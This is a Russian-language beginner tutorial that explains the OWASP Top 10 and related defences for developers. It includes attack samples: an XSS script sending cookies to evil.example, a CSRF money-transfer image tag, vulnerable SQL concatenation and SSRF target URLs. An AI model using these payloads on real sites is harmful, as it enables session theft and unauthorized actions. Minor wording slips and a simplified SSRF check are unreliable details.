OWASP Top 10

Разбираем рейтинг самых опасных веб-уязвимостей простыми словами: SQL-инъекции, сломанную аутентификацию, XSS, CSRF и другие пункты списка — и учимся закрывать их в своих проектах.

Уровень: начальный 18 разделов 2–3 часа

1. Что такое OWASP и рейтинг Top 10

OWASP (Open Worldwide Application Security Project) — некоммерческая организация, которая собирает информацию о самых опасных уязвимостях веб-приложений. Раз в несколько лет публикуется рейтинг Top 10: список того, что встречается чаще всего и причиняет больше всего вреда.

Top 10 — это не полный перечень всех возможных уязвимостей, а «горячая десятка» по данным реальных аудитов. Закрыв эти категории, вы закрываете большую часть простых атак на приложение.

ПозицияПункт рейтингаСуть
A01Broken Access Controlпроблемы доступа
A02Cryptographic Failuresошибки шифрования
A03Injectionинъекции (SQL и другие)
A04Insecure Designнебезопасный дизайн
A05Security Misconfigurationошибки конфигурации
A06Vulnerable and Outdated Componentsнебезопасные компоненты
A07Identification and Authentication Failuresсломанная аутентификация
A08Software and Data Integrity Failuresнарушения целостности
A09Logging and Monitoring Failuresлогирование и мониторинг
A10Server-Side Request ForgerySSRF: поддельные запросы сервера
Рейтинг полезен не для заучивания, а для практики: после каждого пункта понятно, что проверить в своём коде и конфигурации.

2. Инъекции (SQL)

Инъекция — когда ввод пользователя выполняется как часть запроса или команды. Классический пример — SQL-инъекция через форму входа или параметры запроса.

-- уязвимо: «склейка» строк из данных запроса
query = "SELECT * FROM products WHERE id = " + request.GET["id"]

-- безопасно: параметризованный запрос
cursor.execute("SELECT * FROM products WHERE id = %s", (product_id,))
Проверяйте не только SQL: инъекции бывают в командной строке (command injection), в HTML (XSS), в пути к файлу (path traversal). Правило одно — ввод никогда не должен становиться кодом.

3. Нерабочая аутентификация

Аутентификация «сломана», когда злоумышленнику легко подобрать пароль, обойти проверку или украсть сессию:

# Python: храним только хеш пароля с солью (passlib + bcrypt)
from passlib.hash import bcrypt
hashed = bcrypt.hash(user_password)   # пароль в БД никогда не попадает
Для своих сервисов включайте двухфакторную аутентификацию, строгие требования к паролям и блокировку после серии неудачных входов. Основы защиты аккаунтов — в уроке Основы кибербезопасности.

4. XSS (межсайтовый скриптинг)

XSS — внедрение JavaScript в страницу, который выполняется в браузере жертвы: воровать cookie, менять содержимое страницы, перенаправлять на поддельные сайты.

<script>fetch('https://evil.example/steal?c=' + document.cookie)</script>
<img src=x onerror="location='https://evil.example/fake-login'">

Защита: экранировать вывод данных, не использовать innerHTML с непроверенными данными, задавать заголовок Content-Security-Policy.

5. Небезопасные зависимости

Современное приложение собирается из десятков и сотен библиотек. Уязвимость внутри одной из них делает уязвимым весь проект — поэтому зависимости нужно проверять и обновлять.

# проверить зависимости на известные уязвимости
pip-audit          # Python
npm audit          # JavaScript
trivy image my-app # контейнерный образ

6. Проблемы доступа

Управление доступом сломано, когда пользователь может сделать то, что ему не разрешено: посмотреть чужой профиль, отредактировать чужой заказ, вызвать административный метод.

# небезопасно: идентичность берётся из параметра запроса
# /profile?user_id=15

# безопасно: текущий пользователь берётся из сессии
current_user_id = request.session["user_id"]

7. Ошибки конфигурации

Security misconfiguration — это незакрытые «двери» в настройках: открытые панели администрирования, дефолтные пароли, включённый debug-режим на проде, лишние открытые порты.

Эту категорию находят не эксплойтом, а автоматическим сканированием: регулярный аудит настроек закрывает половину проблемы.

8. CSRF

CSRF — атака, при которой браузер жертвы отправляет запрос от её имени. Пользователь залогинен на сайте, затем открывает страницу с «картинкой», которая шлёт запрос «перевести деньги» или «сменить email».

<img src="https://bank.example/transfer?sender=me&to=attacker&amount=1000">

Защита: секретный CSRF-токен в каждой форме, проверка заголовка Origin или Referer, cookie с атрибутом SameSite.

Все современные фреймворки (Django, Spring, Laravel и другие) включают защиту от CSRF из коробки. Не отключайте её «для удобства» — цена ошибки выше.

9. Логирование и мониторинг

Если атаку не видно, вы ничего с ней не сделаете. Логирование и мониторинг нужны, чтобы заметить подозрительные действия и вовремя среагировать.

Инструменты мониторинга разбираются в уроках Prometheus, Grafana и ELK.

10. Как применять на практике

Меньше теории — больше действий. Чек-лист для любого проекта:

Начните с малого: закройте один пункт рейтинга в своём приложении, затем следующий. Через несколько итераций «горячая десятка» перестанет быть страшной.

11. SSRF — поддельные серверные запросы

SSRF возникает, когда приложение по параметру пользователя обращается к внутреннему URL. Злоумышленник может скрыть внутреннюю инфраструктуру: метаданные облака (169.254.169.254), панели администрирования, внутренние API.

УязвимостьПример атаки
Открытый параметр url/fetch?url=http://127.0.0.1:8080/
Редиректывнешний URL перенаправляет на внутренний
DNS-респаундингдомен меняет IP на приватный между резолюциями
// Запрет локальных адресов
const host = new URL(targetUrl).hostname;
const ip = dns.lookupSync(host);
const blocked = ip.startsWith('10.') || ip === '127.0.0.1';
if (blocked) throw new Error('Доступ запрещён');
Блокировка только имени 127.0.0.1 не защищает: атакующий обойдёт через 127.0.0.2, 0.0.0.0, IPv6 ::1 и альтернативные формы адресов. Меняйте DNS-запрос на IP и проверяйте результат, а не исходную строку.
Идеальное решение — whitelist разрешённых хостов или вынос внешних запросов в отдельный сетевой сервис (proxy) без доступа к private-сети.

12. Небезопасный дизайн и угрозы на этапе проектирования

Часть уязвимостей заложена в архитектуре, а не в коде: недостаточное разделение прав, отсутствие лимитов и слабая модель доверия. Identity и misuse cases нужно рассматривать до написания кода.

Проводите threat modeling: STRIDE (spoofing, tampering, repudiation, info disclosure, DoS, elevation). Сценарии с последствиями «кража всей базы» — приоритет в спринте.
Не полагайтесь на одну границу — например, на сеть кластера. Внутри неё прилетают скомпрометированные зависимости и подставные API. Сегментируйте уровни и держите минимум прав между сервисами.

13. Уязвимости цепочки поставок ПО

Атаки идут не на ваш код, а на зависимости: пакет с троянской правкой, бэкдор в библиотеке, подделанный публикатор. Защита строится на контроле происхождения и целостности.

# Проверка зависимостей
npm audit --production
pip audit

# Хеши и подписи пакетов
npm ci --ignore-scripts  # не выполнять postinstall
Скрипты установки пакетов выполняют код у вас в среде сборки. Перед добавлением новой зависимости изучите репозиторий и автора, а в CI запускайте инспекцию через npm audit --audit-level=high с фейлом на критичных находках.
Обновляйте зависимости монотонно: патчи и миноры сразу, majors — в отдельном задании с тестами. Устаревшие версии — самый частый источник известных CVE.

14. Автоматизация проверок: SAST, DAST и инструменты

Безопасность лучше автоматизировать. Статические анализаторы (SAST) ищут уязвимости в коде без запуска, динамические (DAST) — атакуют работающее приложение, а зависимостные сканеры сверяют CVE.

ИнструментТипЧто находит
Semgrep, CodeQLSASTинъекции, устаревшие API, паттерны
OWASP ZAPDASTXSS, CSRF, инъекции на живом сайте
Trivy, SnykSCAуязвимые зависимости
# CI: статическая проверка
semgrep scan --config=p/owasp-top-ten ./src

# Сканирование контейнера
trivy fs . --severity HIGH,CRITICAL
SAST/DAST дают ложные срабатывания: заводите баг-трекер на реальные уязвимости и рассмотрите триаж каждой находки, а не слепое «исправить всё». Автоматизируйте попадание в CI-пайплайн как gate при критическом уровне.
Периодически запускайте ручной пентест: автоматика не покрывает бизнес-логику, обход лимитов и случайные состояния между страницами.

15. Безопасность API: REST и GraphQL

API — самая уязвимая поверхность современного приложения: каждый эндпоинт принимает ввод от неизвестного клиента. OWASP API Security Top-10 напоминает о типовых ошибках: отсутствие лимитов, слабая авторизация на уровне объектов (BOLA) и массовое присвоение полей (mass assignment).

# плохо: пользователь сам решает свой уровень прав
POST /users { "role": "admin" }

# хорошо: роль назначается сервером, ввод белый список
POST /users { "name": "...", "email": "..." }

# авторизация на объект: проверяем владельца
GET /orders/123 → только если order.user_id == current_user

Ключевые правила: не доверяйте ни одному заголовку и телу, проверяйте владельца каждого ресурса (object-level authorization), ограничьте число запросов в минуту (rate limit), в GraphQL закрывайте сложные перекрёстные запросы max depth и cost. Для GraphQL важны ограничение глубины и заблокированные introspective-запросы в проде.

Тип ошибкиКак закрыть
BOLAпроверка владельца до отдачи данных
Mass assignmentбелый список полей при создании/обновлении
Rate limitлимиты по ключу, IP, плану пользователя
Передача секретов в Query String или в теле GET — утечка в логи и историю браузера: используйте заголовки или тело, а токены пишите только в безопасное хранилище.

16. Безопасность контейнеров и CI/CD

Образ — артефакт, который попадает в кластер: уязвимость в зависимостях или конфигурации образа моментально становится дырой прода. Регулярно сканируйте образы (Trivy, Grype, Snyk) и соберите пайплайн с безопасным дефолтом: не root-пользователь, read-only rootfs, никаких секретов в слоях.

# безопасный Dockerfile
FROM node:22-slim
USER node
COPY --chown=node:node app.js /app/
WORKDIR /app
CMD ["node", "app.js"]

# в CI — скан до публикации
trivy fs . --severity HIGH,CRITICAL --exit-code 1

Секреты в build-аргументах кэшируются в слоях — передавайте их рантайм-инстанцией через secrets-механизм. В CI добавьте проверки: линтер кода, SCA-уязвимости с fail-условием, подпись артефакта и повторное сканирование перед выкаткой.

Kubernetes добавляет свой слой: NetworkPolicies по умолчанию ничего не разрешают — включайте egress наружу только явно, иначе контейнер «звонит» куда угодно.

17. Безопасный SDLC и code review

Хороший продукт включает безопасность на каждом этапе: threat modeling при проектировании, код-ревью с чек-листом минимума и безопасные дефолты в библиотеках. Модели угроз рисуют стрелками «кто может дотянуться до этого ресурса», а проверка PR ловит типовые ошибки раньше, чем их зафиксирует пентест.

# чек-лист code review (sample)
1. SQL — параметризован? 2. Роли/права проверены?
3. Ввод валидируется (тип, длина, allowlist)?
4. Секреты не под хардкодом?
5. Логи не содержат PII?
6. Заголовки ответов (CSP, SameSite)?

В ревью фокусируются на местах «пересечения доверия»: приём внешнего ввода, авторизация, выходные данные в UI (XSS), настройки серийных компонентов (CSRF). Автоматические SAST с дешёвыми ложными срабатываниями дополняют ручной взгляд, но не заменяют его.

Собирайте «кривые» кейсы из бэклога (вчерашние инциденты, вопросы пользователей) в регрессионные тесты безопасности — они ценнее абстрактного чек-листа.
Не блокируйте релиз рисками лишь формально: каждый найденный уязвимый путь требует владельца и срока закрытия, иначе он станет вечной техдолговой бомбой.

18. Реагирование на инциденты

Когда взлом всё-таки случился, главный вопрос — не «какой ущерб», а «как быстро и чисто восстановиться». План реагирования содержит роль каждого члена команды, контакты, playbook по типам инцидентов и каналы связи с юристами и клиентами. Чем предсказуемее процесс, тем меньше паники.

# минимальный runbook
1. Детекция   — алерт, тикет SOC, приоритизация
2. Сдерживание — отключение учётных записей, изоляция хоста
3. Исследование — копии логов, анализ вектора атаки
4. Искоренение — удаление дыры, ротация всех ключей
5. Восстановление — возврат из чистых бэкапов, усиление мониторинга
6. Уроки      — постмортем, план предотвращения повторения

Храните логи централизованно и в append-only режиме, чтобы злоумышленник не смог их уничтожить. Постмортем пишите без обвинений: цель — не найти виноватого, а закрыть системные пробелы, которые допустили инцидент.

ФазаТипичная длительностьКлючевой артефакт
Сдерживаниеминуты–часыcraft инцидента
Исследованиечасы–днихронология и векторы
Восстановлениеднипроверенные бэкапы
Постмортем1–2 неделиисключённые системные факторы
Реагирование без учений наталкивается на то, что никто не знает кого звать первым. Прогоняйте tabletop-тренировки по сценариям раз в квартал.

Что дальше

Примените чек-лист к своему проекту — начните с параметризованных запросов и проверки прав. Основы защиты устройств и привычек — в уроке Основы кибербезопасности. Для продакшена изучите Docker и Kubernetes, где живут ваши сервисы.

← Вернуться к курсам